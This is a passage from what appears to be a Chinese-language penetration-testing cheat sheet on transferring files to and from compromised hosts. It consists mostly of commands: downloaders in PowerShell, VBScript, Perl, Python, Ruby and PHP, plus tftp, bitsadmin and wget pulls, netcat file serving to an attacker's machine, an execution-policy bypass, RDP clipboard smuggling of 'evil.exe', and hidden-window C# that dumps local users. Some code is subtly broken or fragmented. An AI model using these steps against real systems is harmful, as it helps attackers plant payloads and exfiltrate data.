$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")下面这条指令是执行一个文件
PS C:\> .\test.ps1有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。
C:\>powershell set-executionpolicy unrestricted
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。 但是在windows XP中需要使用这条指令,如下所示。
1 2 3 |
#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file"); |
root@kali:~# perl test.pl
1 2 3 4 5 6 |
#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close() |
root@kali:~# python test.py
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
root@kali:~# ruby test.rb
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>执行脚本文件是这样
root@kali:~# php test.php下面的上传文件的方法,可能需要更多得步骤,但是有些情况下却可以绕过去多限制。
ftp 127.0.0.1
username
password
get file
exit
tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
bitsadmin /transfer n http://domain/file c:\%homepath%\file
wget http://example.com/file
cat file | nc -l 1234这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
nc host_ip 1234 > file这条命令将连接攻击者的电脑,接受file内容保存。
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
PS > .\ExetoText.ps1 evil.exe evil.txt打开evil.txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机。
PS > .\TexttoExe.ps1 evil.text evil.exe
C:\Windows\Microsoft.NET\Framework\version使用下面的示例代码,编译后的可执行文件将使用的cmd.exe来查询本地用户,然后将结果写入一个在C:\Temp\users.txt中。可以修改其中的代码,达到自己想要的目的,然后编译成exe文件。
public class Evil { public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:\\Temp\\users.txt"; process.StartInfo = startInfo; process.Start(); } }代码编译命令:
csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs